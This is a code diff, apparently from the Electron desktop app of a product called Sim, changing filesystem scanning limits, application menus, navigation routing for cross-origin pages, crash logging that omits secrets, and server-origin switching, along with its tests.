const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
for (const child of selection.entries) {
throwIfAborted(signal)
scanned++
if (scanned > MAX_SCAN_ENTRIES) {
truncated = true
break
}
const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
const childPath = resolve(current.path, child.name)
const mountRelativePath = [resolvedPath.relativePath, relativeFromBase]
@@ -868,13 +983,20 @@ export class LocalFilesystemService {
}
if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
stack.push({
childDirectories.push({
path: childPath,
relativeFromBase,
depth: current.depth + 1,
})
}
}
if (selection.truncated) {
truncated = true
break
}
for (let index = childDirectories.length - 1; index >= 0; index--) {
stack.push(childDirectories[index])
}
}
entries.sort((a, b) => a.uri.localeCompare(b.uri))
@@ -1080,18 +1202,20 @@ export class LocalFilesystemService {
throwIfAborted(signal)
const current = stack.pop()
if (!current) break
const children = await readdir(current.path, { withFileTypes: true })
for (const child of children) {
const remaining = MAX_SCAN_ENTRIES - scanned
if (remaining <= 0) {
truncated = true
break
}
const selection = await selectDirectoryEntries(current.path, remaining, signal)
scanned += selection.entries.length
const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
for (const child of selection.entries) {
throwIfAborted(signal)
scanned++
if (scanned > MAX_SCAN_ENTRIES) {
truncated = true
break
}
const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
const childPath = resolve(current.path, child.name)
if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
stack.push({
childDirectories.push({
path: childPath,
relativeFromBase,
depth: current.depth + 1,
@@ -1112,6 +1236,13 @@ export class LocalFilesystemService {
break
}
}
if (selection.truncated) {
truncated = true
break
}
for (let index = childDirectories.length - 1; index >= 0; index--) {
stack.push(childDirectories[index])
}
}
if (outputMode === 'files_with_matches') {
+59 -7
View File
@@ -16,6 +16,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
set: vi.fn(),
} as unknown as ConfigStore,
getMainWindow: vi.fn(() => null),
isMainWindow: vi.fn(() => true),
allowHttpLocalhost: vi.fn(() => false),
openSettings: vi.fn(),
openServerSettings: vi.fn(),
@@ -26,6 +27,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
openSearch: vi.fn(),
signOut: vi.fn(),
checkForUpdates: vi.fn(),
openDiagnostics: vi.fn(),
}
}
@@ -56,8 +58,6 @@ describe('buildMenuTemplate', () => {
'Check for Updates…',
'Sign Out',
'separator',
'services',
'separator',
'hide',
'hideOthers',
'unhide',
@@ -102,16 +102,36 @@ describe('buildMenuTemplate', () => {
])
})
it('keeps Help limited to documentation and Sim status', () => {
it('keeps Help limited to support and diagnostics', () => {
const help = submenu(buildMenuTemplate(makeDeps()), 'Help')
expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status'])
expect(help.map((item) => item.label ?? item.type)).toEqual([
'Sim Documentation',
'Sim Status',
'separator',
'Show Diagnostic Logs',
])
})
// status.sim.ai reports on Sim's deployments only, so it is worse than
// useless to an operator whose own server is the one that is down.
it('drops Sim status for a self-hosted server', () => {
const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help')
expect(help.map((item) => item.label)).toEqual(['Sim Documentation'])
expect(help.map((item) => item.label ?? item.type)).toEqual([
'Sim Documentation',
'separator',
'Show Diagnostic Logs',
])
})
it('opens local diagnostics from Help', () => {
const deps = makeDeps()
const item = submenu(buildMenuTemplate(deps), 'Help').find(
(entry) => entry.label === 'Show Diagnostic Logs'
)
;(item?.click as () => void)()
expect(deps.openDiagnostics).toHaveBeenCalledOnce()
})
it('never exposes developer tools in the application menu', () => {
@@ -119,7 +139,7 @@ describe('buildMenuTemplate', () => {
expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false)
})
it('reserves the close-tab accelerator for resources and never closes the window', () => {
it('closes the main window when no resource claims the close-tab accelerator', () => {
const handleFocusedResourceShortcut = vi.fn(() => true)
const deps = Object.assign(makeDeps(), { handleFocusedResourceShortcut })
const closeItem = submenu(buildMenuTemplate(deps), 'File').find(
@@ -141,7 +161,39 @@ describe('buildMenuTemplate', () => {
handleFocusedResourceShortcut.mockReturnValue(false)
click({}, focusedWindow)
expect(focusedWindow.close).not.toHaveBeenCalled()
expect(focusedWindow.close).toHaveBeenCalledOnce()
})
it('keeps resource, reload, and zoom accelerators out of utility windows', () => {
const mainWindow = new BrowserWindow()
const utilityWindow = new BrowserWindow()
const handleFocusedResourceShortcut = vi.fn(() => false)
const deps = Object.assign(makeDeps(), {
getMainWindow: vi.fn(() => mainWindow),
isMainWindow: vi.fn((win: BrowserWindow) => win === mainWindow),
handleFocusedResourceShortcut,
})
const template = buildMenuTemplate(deps)
const file = submenu(template, 'File')
const view = submenu(template, 'View')
const invoke = (item: MenuItemConstructorOptions | undefined) =>
(item?.click as unknown as (menuItem: unknown, browserWindow: BrowserWindow) => void)(
{},
utilityWindow
)
invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+T'))
invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+R'))
invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+Plus'))
expect(handleFocusedResourceShortcut).not.toHaveBeenCalled()
expect(mainWindow.webContents.reload).not.toHaveBeenCalled()
expect(utilityWindow.webContents.reload).not.toHaveBeenCalled()
expect(deps.config.set).not.toHaveBeenCalledWith('zoomLevel', expect.anything())
invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+W'))
expect(utilityWindow.close).toHaveBeenCalledOnce()
expect(mainWindow.close).not.toHaveBeenCalled()
})
it('always offers a separate close-window accelerator', () => {
+40 -24
View File
@@ -13,6 +13,7 @@ const ZOOM_STEP = 0.5
export interface MenuDeps {
config: ConfigStore
getMainWindow: () => BrowserWindow | null
isMainWindow: (win: BrowserWindow) => boolean
allowHttpLocalhost: () => boolean
openSettings: () => void
/** Opens the native server picker (see main/server-window.ts). */
@@ -32,6 +33,7 @@ export interface MenuDeps {
openSearch: () => void
signOut: () => void
checkForUpdates: () => void
openDiagnostics: () => void
}
/**
@@ -40,22 +42,29 @@ export interface MenuDeps {
* the zoom level persists across launches.
*/
export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] {
const withWindow = (fn: (win: BrowserWindow) => void) => () => {
const win = deps.getMainWindow()
if (win && !win.isDestroyed()) {
fn(win)
/** Utility windows must not redirect resource commands into the hidden main window. */
const focusedMainOrFallback = (focusedWindow: unknown): BrowserWindow | null => {
if (focusedWindow instanceof BrowserWindow) {
return !focusedWindow.isDestroyed() && deps.isMainWindow(focusedWindow) ? focusedWindow : null
}
const fallback = deps.getMainWindow()
return fallback && !fallback.isDestroyed() ? fallback : null
}
/** Accelerators fire on whichever window has focus; fall back to the main one. */
const focusedOrMain = (focusedWindow: unknown): BrowserWindow | null =>
focusedWindow instanceof BrowserWindow ? focusedWindow : deps.getMainWindow()
const focusedWindowOrMain = (focusedWindow: unknown): BrowserWindow | null => {
if (focusedWindow instanceof BrowserWindow) {
return focusedWindow.isDestroyed() ? null : focusedWindow
}
const fallback = deps.getMainWindow()
return fallback && !fallback.isDestroyed() ? fallback : null
}
const resourceShortcut = (
shortcut: FocusedResourceShortcut
): NonNullable<MenuItemConstructorOptions['click']> => {
return (_item, focusedWindow) => {
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), shortcut)
const win = focusedMainOrFallback(focusedWindow)
if (win) deps.handleFocusedResourceShortcut(win, shortcut)
}
}
@@ -76,8 +85,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
const resolve = (current: number) =>
action === 'reset' ? 0 : action === 'in' ? current + ZOOM_STEP : current - ZOOM_STEP
return (_item, focusedWindow) => {
const win = focusedOrMain(focusedWindow)
if (!win || win.isDestroyed()) return
const win = focusedMainOrFallback(focusedWindow)
if (!win) return
if (deps.handleFocusedResourceShortcut(win, `zoom-${action}`)) return
const level = resolve(win.webContents.getZoomLevel())
win.webContents.setZoomLevel(level)
@@ -110,19 +119,21 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
{
label: 'Back',
accelerator: 'CmdOrCtrl+[',
click: withWindow((win) => {
click: (_item, focusedWindow) => {
const win = focusedMainOrFallback(focusedWindow)
if (!win) return
const history = win.webContents.navigationHistory
if (history.canGoBack()) {
history.goBack()
}
}),
},
},
{
label: 'Reload',
accelerator: 'CmdOrCtrl+R',
click: (_item, focusedWindow) => {
const win = focusedOrMain(focusedWindow)
if (!win || win.isDestroyed()) return
const win = focusedMainOrFallback(focusedWindow)
if (!win) return
if (deps.handleFocusedResourceShortcut(win, 'reload-or-clear')) return
win.webContents.reload()
},
@@ -137,8 +148,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
label: 'Force Reload',
accelerator: 'CmdOrCtrl+Shift+R',
click: (_item, focusedWindow) => {
const win = focusedOrMain(focusedWindow)
if (!win || win.isDestroyed()) return
const win = focusedMainOrFallback(focusedWindow)
if (!win) return
if (deps.handleFocusedResourceShortcut(win, 'hard-reload')) return
win.webContents.reloadIgnoringCache()
},
@@ -161,8 +172,6 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
{ label: 'Check for Updates…', click: deps.checkForUpdates },
{ label: 'Sign Out', click: deps.signOut },
{ type: 'separator' },
{ role: 'services' },
{ type: 'separator' },
{ role: 'hide' },
{ role: 'hideOthers' },
{ role: 'unhide' },
@@ -184,8 +193,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
label: 'Close Window',
accelerator: 'CmdOrCtrl+Shift+W',
click: (_item, focusedWindow) => {
const win = focusedOrMain(focusedWindow)
if (win && !win.isDestroyed()) win.close()
focusedWindowOrMain(focusedWindow)?.close()
},
},
/**
@@ -202,7 +210,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
accelerator: 'CmdOrCtrl+T',
visible: false,
click: (_item, focusedWindow) => {
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'new-tab')
const win = focusedMainOrFallback(focusedWindow)
if (win) deps.handleFocusedResourceShortcut(win, 'new-tab')
},
},
{
@@ -210,7 +219,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
accelerator: 'CmdOrCtrl+Shift+T',
visible: false,
click: (_item, focusedWindow) => {
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'reopen-closed-tab')
const win = focusedMainOrFallback(focusedWindow)
if (win) deps.handleFocusedResourceShortcut(win, 'reopen-closed-tab')
},
},
{
@@ -237,8 +247,12 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
accelerator: 'CmdOrCtrl+W',
visible: false,
click: (_item, focusedWindow) => {
const win = focusedOrMain(focusedWindow)
deps.handleFocusedResourceShortcut(win, 'close-tab')
const win = focusedWindowOrMain(focusedWindow)
if (!win) return
if (deps.isMainWindow(win) && deps.handleFocusedResourceShortcut(win, 'close-tab')) {
return
}
win.close()
},
},
],
@@ -263,6 +277,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
},
]
: []),
{ type: 'separator' },
{ label: 'Show Diagnostic Logs', click: deps.openDiagnostics },
],
},
]
+6 -6
View File
@@ -77,13 +77,13 @@ describe('classifyNavigation', () => {
).toBe('idp-system-login')
})
it('keeps the same IdP in-window when it is an integration connect', () => {
it('routes non-handoff integration departures out of the privileged app window', () => {
expect(
classifyNavigation('https://github.com/login/oauth/authorize?client_id=x', {
appOrigin: APP,
currentUrl: `${APP}/workspace/ws1/integrations/github`,
})
).toBe('idp-in-window')
).toBe('external')
})
it('sends unknown hosts from an auth surface to the system browser (SSO safe default)', () => {
@@ -95,22 +95,22 @@ describe('classifyNavigation', () => {
).toBe('idp-system-login')
})
it('keeps unknown hosts from workspace pages in-window (integration OAuth is a same-window redirect)', () => {
it('does not infer OAuth from an unknown cross-origin workspace navigation', () => {
expect(
classifyNavigation('https://api.notion.com/v1/oauth/authorize?x=1', {
appOrigin: APP,
currentUrl: `${APP}/workspace/ws1/integrations/notion`,
})
).toBe('idp-in-window')
).toBe('external')
})
it('allows continuation navigation while already on an IdP host', () => {
it('does not keep arbitrary cross-origin continuation pages in the app window', () => {
expect(
classifyNavigation('https://github.com/sessions/two-factor', {
appOrigin: APP,
currentUrl: 'https://github.com/login',
})
).toBe('idp-in-window')
).toBe('external')
})
it('allows any https navigation inside popups', () => {
+5 -6
View File
@@ -7,7 +7,6 @@ const logger = createLogger('DesktopNavigation')
export type MainNavigationAction =
| 'in-app'
| 'idp-in-window'
| 'idp-system-login'
| 'idp-system-connect'
| 'external'
@@ -104,10 +103,10 @@ export function isAuthSurfacePath(pathname: string): boolean {
* else comes back `state_mismatch`. The handoff keeps the whole flow in one
* jar and hands a one-time token back over the loopback.
*
* Everything else is an integration connect from a workspace page: those stay
* in-window (the session cookie is already in this partition) unless the IdP
* hard-blocks embedded user agents, which is what {@link
* SYSTEM_BROWSER_IDP_HOSTS} enumerates.
* Integration connects use the explicit desktop handoff IPC. A cross-origin
* departure from any other app page is therefore an ordinary external
* navigation, not evidence of OAuth, and must never replace the privileged
* app document that owns the preload bridge.
*/
export function classifyNavigation(rawUrl: string, ctx: NavigationContext): MainNavigationAction {
if (rawUrl === 'about:blank') {
@@ -133,7 +132,7 @@ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): Main
if (matchesHostList(url.hostname, SYSTEM_BROWSER_IDP_HOSTS)) {
return 'idp-system-connect'
}
return 'idp-in-window'
return 'external'
}
/**
+81 -2
View File
@@ -1,8 +1,12 @@
import { existsSync, mkdtempSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it } from 'vitest'
import { createEventLog, scrubUrl } from '@/main/observability'
import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import { app, dialog } from 'electron'
import { createEventLog, installMainProcessFailureObservers, scrubUrl } from '@/main/observability'
describe('scrubUrl', () => {
it('drops query strings and fragments so tokens never reach the log', () => {
@@ -40,3 +44,78 @@ describe('createEventLog', () => {
expect(existsSync(`${events.filePath}.1`)).toBe(true)
})
})
describe('installMainProcessFailureObservers', () => {
function createProcessSource() {
const handlers = new Map<string, (...args: never[]) => void>()
return {
handlers,
source: {
on: vi.fn((event: string, handler: (...args: never[]) => void) => {
handlers.set(event, handler)
}),
},
}
}
beforeEach(() => {
vi.clearAllMocks()
})
it('records unexpected child-process exits once per failure burst', () => {
vi.useFakeTimers()
try {
const events = { filePath: '/tmp/events.log', record: vi.fn() }
const { source } = createProcessSource()
installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
const appHandlers = vi.mocked(app.on).mock.calls as unknown as Array<
[string, (...args: never[]) => void]
>
const handler = appHandlers.find(([event]) => event === 'child-process-gone')?.[1] as
| ((event: unknown, details: Record<string, unknown>) => void)
| undefined
const details = { type: 'GPU', reason: 'crashed', exitCode: 9, serviceName: 'GPU' }
handler?.({}, details)
handler?.({}, details)
expect(events.record).toHaveBeenCalledOnce()
expect(events.record).toHaveBeenCalledWith('child_process_gone', details)
vi.advanceTimersByTime(5_000)
handler?.({}, details)
expect(events.record).toHaveBeenCalledTimes(2)
} finally {
vi.useRealTimers()
}
})
it('shows one recovery prompt for simultaneous fatal failures', async () => {
let resolvePrompt: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
vi.mocked(dialog.showMessageBox).mockImplementationOnce(
() =>
new Promise((resolve) => {
resolvePrompt = resolve
})
)
const events = { filePath: '/tmp/events.log', record: vi.fn() }
const { handlers, source } = createProcessSource()
installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
const fatalError = new Error('secret')
fatalError.name = 'Bearer SECRET'
handlers.get('unhandledRejection')?.(fatalError as never)
handlers.get('uncaughtException')?.(new Error('second') as never)
expect(dialog.showMessageBox).toHaveBeenCalledOnce()
expect(events.record).toHaveBeenCalledOnce()
expect(events.record).toHaveBeenCalledWith('main_unhandled_rejection', {
valueType: 'Error',
})
expect(JSON.stringify(events.record.mock.calls)).not.toContain('SECRET')
resolvePrompt?.({ response: 0, checkboxChecked: false })
await vi.waitFor(() => expect(app.relaunch).toHaveBeenCalledOnce())
expect(app.exit).toHaveBeenCalledWith(1)
})
})
+96
View File
@@ -1,6 +1,8 @@
import { appendFileSync, mkdirSync, renameSync, statSync } from 'node:fs'
import { join } from 'node:path'
import { createLogger } from '@sim/logger'
import type { BrowserWindow, Details } from 'electron'
import { app, dialog } from 'electron'
const logger = createLogger('DesktopEvents')
@@ -20,6 +22,9 @@ export type DesktopEventName =
| 'load_failure'
| 'renderer_gone'
| 'renderer_unresponsive'
| 'child_process_gone'
| 'main_unhandled_rejection'
| 'main_uncaught_exception'
| 'sign_out'
| 'origin_changed'
| 'handoff_started'
@@ -34,6 +39,97 @@ export interface EventRecorder {
record(name: DesktopEventName, data?: Record<string, string | number | boolean>): void
}
interface ProcessFailureSource {
on(event: 'unhandledRejection', listener: (reason: unknown) => void): void
on(event: 'uncaughtException', listener: (error: Error) => void): void
}
export interface MainProcessFailureObserverDeps {
events: EventRecorder
getWindow: () => BrowserWindow | null
processSource?: ProcessFailureSource
}
const FAILURE_DEDUPE_MS = 5_000
/**
* Records native child-process failures and gives a fatal main-process error a
* single native recovery surface. Error text is deliberately excluded from
* the structured log because rejected values can contain request payloads or
* credentials; the event kind and crash dumps are enough for triage.
*/
export function installMainProcessFailureObservers({
events,
getWindow,
processSource = process,
}: MainProcessFailureObserverDeps): void {
let fatalRecoveryOpen = false
let lastChildFailure = ''
let lastChildFailureAt = 0
const onChildProcessGone = (_event: unknown, details: Details): void => {
if (details.reason === 'clean-exit') return
const signature = `${details.type}:${details.reason}:${details.exitCode}:${details.serviceName ?? ''}`
const now = Date.now()
if (signature === lastChildFailure && now - lastChildFailureAt < FAILURE_DEDUPE_MS) return
lastChildFailure = signature
lastChildFailureAt = now
events.record('child_process_gone', {
type: details.type,
reason: details.reason,
exitCode: details.exitCode,
...(details.serviceName ? { serviceName: details.serviceName } : {}),
})
logger.error('Electron child process exited unexpectedly', {
type: details.type,
reason: details.reason,
exitCode: details.exitCode,
})
}
const reportFatal = (
name: 'main_unhandled_rejection' | 'main_uncaught_exception',
value: unknown
): void => {
if (fatalRecoveryOpen) return
fatalRecoveryOpen = true
events.record(name, { valueType: value instanceof Error ? 'Error' : typeof value })
logger.error('Fatal main-process failure', { kind: name })
const options = {
type: 'error' as const,
buttons: ['Restart Sim', 'Quit Sim'],
defaultId: 0,
cancelId: 1,
message: 'Sim encountered a problem',
detail: 'Restart Sim to recover. Diagnostic details were saved locally.',
}
const win = getWindow()
const prompt =
win && !win.isDestroyed()
? dialog.showMessageBox(win, options)
: dialog.showMessageBox(options)
void prompt
.then(({ response }) => {
if (response === 0) app.relaunch()
})
.catch(() => {})
.finally(() => {
app.exit(1)
})
}
const onUnhandledRejection = (reason: unknown): void => {
reportFatal('main_unhandled_rejection', reason)
}
const onUncaughtException = (error: Error): void => {
reportFatal('main_uncaught_exception', error)
}
app.on('child-process-gone', onChildProcessGone)
processSource.on('unhandledRejection', onUnhandledRejection)
processSource.on('uncaughtException', onUncaughtException)
}
/**
* Reduces a URL to origin + path for logging. Query strings and fragments are
* dropped so tokens, states, and signed parameters never reach the event log.
@@ -92,6 +92,15 @@ describe('attachNavigationGuards', () => {
expect(deps.onConnectIntercept).toHaveBeenCalled()
})
it('opens unknown cross-origin departures externally instead of replacing the app page', () => {
const contents = makeContents(`${APP}/workspace/ws1`)
attachNavigationGuards(contents as unknown as WebContents, makeDeps())
const preventDefault = fire(contents, 'will-navigate', 'https://docs.example/page')
expect(preventDefault).toHaveBeenCalled()
expect(shell.openExternal).toHaveBeenCalledWith('https://docs.example/page')
})
it('denies non-web schemes', () => {
const contents = makeContents(`${APP}/workspace/ws1`)
attachNavigationGuards(contents as unknown as WebContents, makeDeps())
-1
View File
@@ -41,7 +41,6 @@ export function attachNavigationGuards(contents: WebContents, deps: GuardDeps):
})
switch (action) {
case 'in-app':
case 'idp-in-window':
return
case 'external':
event.preventDefault()
+84 -2
View File
@@ -12,6 +12,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
let stored = origin
return {
filePath: '/tmp/settings.json',
isPersistenceAvailable: () => true,
getOrigin: () => stored,
setOrigin: vi.fn((raw: string) => {
const result = validate(raw)
@@ -20,7 +21,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
}),
get: vi.fn(() => undefined),
set: vi.fn(),
flush: vi.fn(),
flush: vi.fn(() => true),
} as unknown as ConfigStore
}
@@ -34,7 +35,9 @@ function makeDeps(overrides: Partial<ServerWindowDeps> = {}): ServerWindowDeps {
preloadPath: '/tmp/preload.cjs',
isPackaged: false,
getParentWindow: () => null,
prepareDeploymentScopedStateChange: vi.fn(() => true),
clearDeploymentScopedState: vi.fn(async (): Promise<readonly string[]> => []),
completeDeploymentScopedStateChange: vi.fn((commit) => commit()),
relaunch: vi.fn(),
...overrides,
}
@@ -69,7 +72,6 @@ describe('server window', () => {
const result = await createServerWindow(deps).setOrigin('https://sim.other.example')
expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false })
expect(deps.config.flush).toHaveBeenCalled()
expect(deps.relaunch).toHaveBeenCalledTimes(1)
})
@@ -102,10 +104,26 @@ describe('server window', () => {
it('clears deployment-scoped capabilities before relaunching', async () => {
await createServerWindow(deps).setOrigin('https://sim.other.example')
expect(deps.prepareDeploymentScopedStateChange).toHaveBeenCalledTimes(1)
expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1)
expect(
vi.mocked(deps.prepareDeploymentScopedStateChange).mock.invocationCallOrder[0]
).toBeLessThan(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0])
expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
vi.mocked(deps.relaunch).mock.invocationCallOrder[0]
)
expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
)
expect(
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
).toBeLessThan(vi.mocked(deps.config.set).mock.invocationCallOrder[0])
expect(
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
).toBeLessThan(vi.mocked(deps.config.setOrigin).mock.invocationCallOrder[0])
expect(
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
).toBeLessThan(vi.mocked(deps.relaunch).mock.invocationCallOrder[0])
})
it('does not clear them when the origin is unchanged', async () => {
@@ -114,6 +132,23 @@ describe('server window', () => {
expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled()
})
it('does not erase or persist anything when recovery intent cannot be recorded', async () => {
const blocked = makeDeps({ prepareDeploymentScopedStateChange: vi.fn(() => false) })
const handle = createServerWindow(blocked)
await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({
ok: false,
})
expect(blocked.clearDeploymentScopedState).not.toHaveBeenCalled()
expect(blocked.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
expect(blocked.config.set).not.toHaveBeenCalled()
expect(blocked.config.setOrigin).not.toHaveBeenCalled()
expect(blocked.relaunch).not.toHaveBeenCalled()
vi.mocked(blocked.prepareDeploymentScopedStateChange).mockReturnValue(true)
await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ ok: true })
})
// The picker re-enables its button while a request is pending, and the IPC
// boundary is reachable regardless of what the page does, so the transaction
// has to be serialized here rather than in the renderer.
@@ -174,6 +209,7 @@ describe('server window', () => {
// happened", which is not what happened.
expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared'))
expect(failing.relaunch).not.toHaveBeenCalled()
expect(failing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
expect(failing.config.setOrigin).not.toHaveBeenCalled()
expect(failing.config.getOrigin()).toBe(CURRENT)
})
@@ -189,9 +225,55 @@ describe('server window', () => {
expect(result).toMatchObject({ ok: false })
expect(throwing.relaunch).not.toHaveBeenCalled()
expect(throwing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
expect(throwing.config.getOrigin()).toBe(CURRENT)
})
it('keeps teardown recovery pending when persisting the new origin fails', async () => {
const config = makeConfig(CURRENT, () => ({ ok: false, error: 'disk is read-only' }))
const failing = makeDeps({ config })
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
expect(result).toEqual({ ok: false, error: 'disk is read-only' })
expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
expect(failing.relaunch).not.toHaveBeenCalled()
})
it('relaunches against the committed server when completing teardown fails', async () => {
const failing = makeDeps({
completeDeploymentScopedStateChange: vi.fn((commit) => {
commit()
throw new Error('marker is read-only')
}),
})
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
expect(result).toEqual({
ok: true,
origin: 'https://sim.other.example',
unchanged: false,
})
expect(failing.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example')
expect(failing.config.getOrigin()).toBe('https://sim.other.example')
expect(failing.relaunch).toHaveBeenCalledOnce()
})
it('refuses the change while a stronger account teardown is active', async () => {
const failing = makeDeps({
completeDeploymentScopedStateChange: vi.fn(() => false),
})
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
expect(result).toMatchObject({ ok: false })
expect(failing.config.set).not.toHaveBeenCalled()
expect(failing.config.setOrigin).not.toHaveBeenCalled()
expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
expect(failing.relaunch).not.toHaveBeenCalled()
})
// Validated up front with the shell's own rule, before anything is torn down
// or written, so a typo costs nothing.
it('surfaces a rejected origin without tearing anything down', async () => {
+47 -9
View File
@@ -69,6 +69,10 @@ export interface ServerWindowDeps {
* failure not hide another's, and lets the caller refuse to move.
*/
clearDeploymentScopedState: () => Promise<readonly string[]>
/** Durably records the outgoing deployment before any capability is erased. */
prepareDeploymentScopedStateChange: () => boolean
/** Atomically commits the new configuration and completes this server wipe. */
completeDeploymentScopedStateChange: (commit: () => boolean) => boolean
/**
* Relaunches the shell against the newly stored origin. A full restart rather
* than an in-place swap: the origin decides the cookie partition, the update
@@ -179,7 +183,7 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
// what would actually be written.
const origin = canonicalOrigin(validated.origin)
const current = deps.config.getOrigin()
if (origin === current) {
if (origin === current && deps.config.isPersistenceAvailable()) {
// Nothing moves, so nothing is torn down. Relaunching anyway would make
// "confirm the URL I already use" restart the app for no reason.
return { ok: true, origin, unchanged: true }
@@ -190,6 +194,13 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
}
changeInFlight = true
try {
if (!deps.prepareDeploymentScopedStateChange()) {
logger.error('Could not persist deployment-scoped recovery marker')
return {
ok: false,
error: 'Could not safely prepare the server change. Try again.',
}
}
// Fail closed, and clear BEFORE persisting. If a store cannot be emptied,
// the shell must not move: the incoming deployment would otherwise
// inherit folder grants and authenticated browser sessions the outgoing
@@ -215,15 +226,42 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
}
}
logger.info('Server origin changed; relaunching', { from: current, to: origin })
deps.config.setOrigin(raw)
for (const key of ORIGIN_SCOPED_SETTINGS) {
deps.config.set(key, undefined)
const transaction: {
stored: ReturnType<ConfigStore['setOrigin']> | null
} = { stored: null }
try {
const completed = deps.completeDeploymentScopedStateChange(() => {
for (const key of ORIGIN_SCOPED_SETTINGS) {
deps.config.set(key, undefined)
}
transaction.stored = deps.config.setOrigin(raw)
return transaction.stored.ok
})
if (!completed) {
if (transaction.stored && !transaction.stored.ok) return transaction.stored
logger.error('Refusing to change server while account-data recovery is active')
return {
ok: false,
error: 'Finish signing out or restart Sim before changing servers.',
}
}
} catch (error) {
if (transaction.stored?.ok) {
logger.error('Server changed but deployment-scoped recovery remains pending', {
error: getErrorMessage(error),
})
} else {
logger.error('Could not persist the new server origin', {
error: getErrorMessage(error),
})
return {
ok: false,
error: 'Could not save the new server URL. Try again.',
}
}
}
// setOrigin writes through immediately; the clears above are debounced
// like every other setting. `before-quit` flushes too, but doing it here
// keeps the write independent of the Electron quit sequence.
deps.config.flush()
logger.info('Server origin changed; relaunching', { from: current, to: origin })
close()
deps.relaunch()
return { ok: true, origin, unchanged: false }
+126 -11
View File
@@ -1,8 +1,16 @@
import { describe, expect, it, vi } from 'vitest'
import { mkdtempSync, writeFileSync } from 'node:fs'
import { rm } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import { BrowserWindow, type Session } from 'electron'
import {
completeAccountDataTeardown,
initializeAccountDataRecovery,
} from '@/main/account-data-generation'
import {
createSessionLifecycleCoordinator,
decideStartRoute,
@@ -15,6 +23,18 @@ import {
} from '@/main/session-lifecycle'
const APP = 'https://sim.ai'
let recoveryDirectory: string
beforeEach(() => {
recoveryDirectory = mkdtempSync(join(tmpdir(), 'sim-session-lifecycle-'))
initializeAccountDataRecovery(join(recoveryDirectory, 'teardown-required.json'))
})
afterEach(async () => {
completeAccountDataTeardown()
initializeAccountDataRecovery(null)
await rm(recoveryDirectory, { recursive: true, force: true })
})
describe('isSessionCookieName', () => {
it('matches the better-auth session cookie on secure and non-secure hosts', () => {
@@ -148,10 +168,14 @@ describe('tearDownSession', () => {
clearStorageData: vi.fn(async () => {
order.push('session')
}),
clearCache: vi.fn(async () => {
order.push('cache')
}),
} as unknown as Session
await tearDownSession(
session,
